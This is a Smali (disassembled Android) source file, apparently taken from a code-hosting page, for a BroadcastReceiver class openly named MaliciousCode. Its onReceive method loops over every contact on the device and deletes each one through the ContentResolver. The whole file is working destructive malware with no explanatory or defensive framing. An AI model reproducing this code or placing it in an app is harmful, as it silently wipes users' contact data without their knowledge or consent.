86 lines
2.3 KiB
Smali
86 lines
2.3 KiB
Smali
.class public Lcom/MaliciousCode;
|
|
.super Landroid/content/BroadcastReceiver;
|
|
.source "MaliciousCode.java"
|
|
|
|
|
|
# direct methods
|
|
.method public constructor <init>()V
|
|
.locals 0
|
|
|
|
.prologue
|
|
.line 14
|
|
invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
|
|
|
|
return-void
|
|
.end method
|
|
|
|
|
|
# virtual methods
|
|
.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V
|
|
.locals 9
|
|
.param p1, "context" # Landroid/content/Context;
|
|
.param p2, "intent" # Landroid/content/Intent;
|
|
|
|
.prologue
|
|
const/4 v2, 0x0
|
|
|
|
.line 17
|
|
invoke-virtual {p1}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
|
|
|
|
move-result-object v0
|
|
|
|
.line 18
|
|
.local v0, "contentResolver":Landroid/content/ContentResolver;
|
|
sget-object v1, Landroid/provider/ContactsContract$Contacts;->CONTENT_URI:Landroid/net/Uri;
|
|
|
|
move-object v3, v2
|
|
|
|
move-object v4, v2
|
|
|
|
move-object v5, v2
|
|
|
|
invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
|
|
|
|
move-result-object v6
|
|
|
|
.line 22
|
|
.local v6, "cursor":Landroid/database/Cursor;
|
|
:goto_0
|
|
invoke-interface {v6}, Landroid/database/Cursor;->moveToNext()Z
|
|
|
|
move-result v1
|
|
|
|
if-eqz v1, :cond_0
|
|
|
|
.line 23
|
|
const-string v1, "lookup"
|
|
|
|
invoke-interface {v6, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
|
|
|
|
move-result v1
|
|
|
|
invoke-interface {v6, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
|
|
|
|
move-result-object v7
|
|
|
|
.line 25
|
|
.local v7, "lookupKey":Ljava/lang/String;
|
|
sget-object v1, Landroid/provider/ContactsContract$Contacts;->CONTENT_LOOKUP_URI:Landroid/net/Uri;
|
|
|
|
invoke-static {v1, v7}, Landroid/net/Uri;->withAppendedPath(Landroid/net/Uri;Ljava/lang/String;)Landroid/net/Uri;
|
|
|
|
move-result-object v8
|
|
|
|
.line 27
|
|
.local v8, "uri":Landroid/net/Uri;
|
|
invoke-virtual {v0, v8, v2, v2}, Landroid/content/ContentResolver;->delete(Landroid/net/Uri;Ljava/lang/String;[Ljava/lang/String;)I
|
|
|
|
goto :goto_0
|
|
|
|
.line 29
|
|
.end local v7 # "lookupKey":Ljava/lang/String;
|
|
.end local v8 # "uri":Landroid/net/Uri;
|
|
:cond_0
|
|
return-void
|
|
.end method
|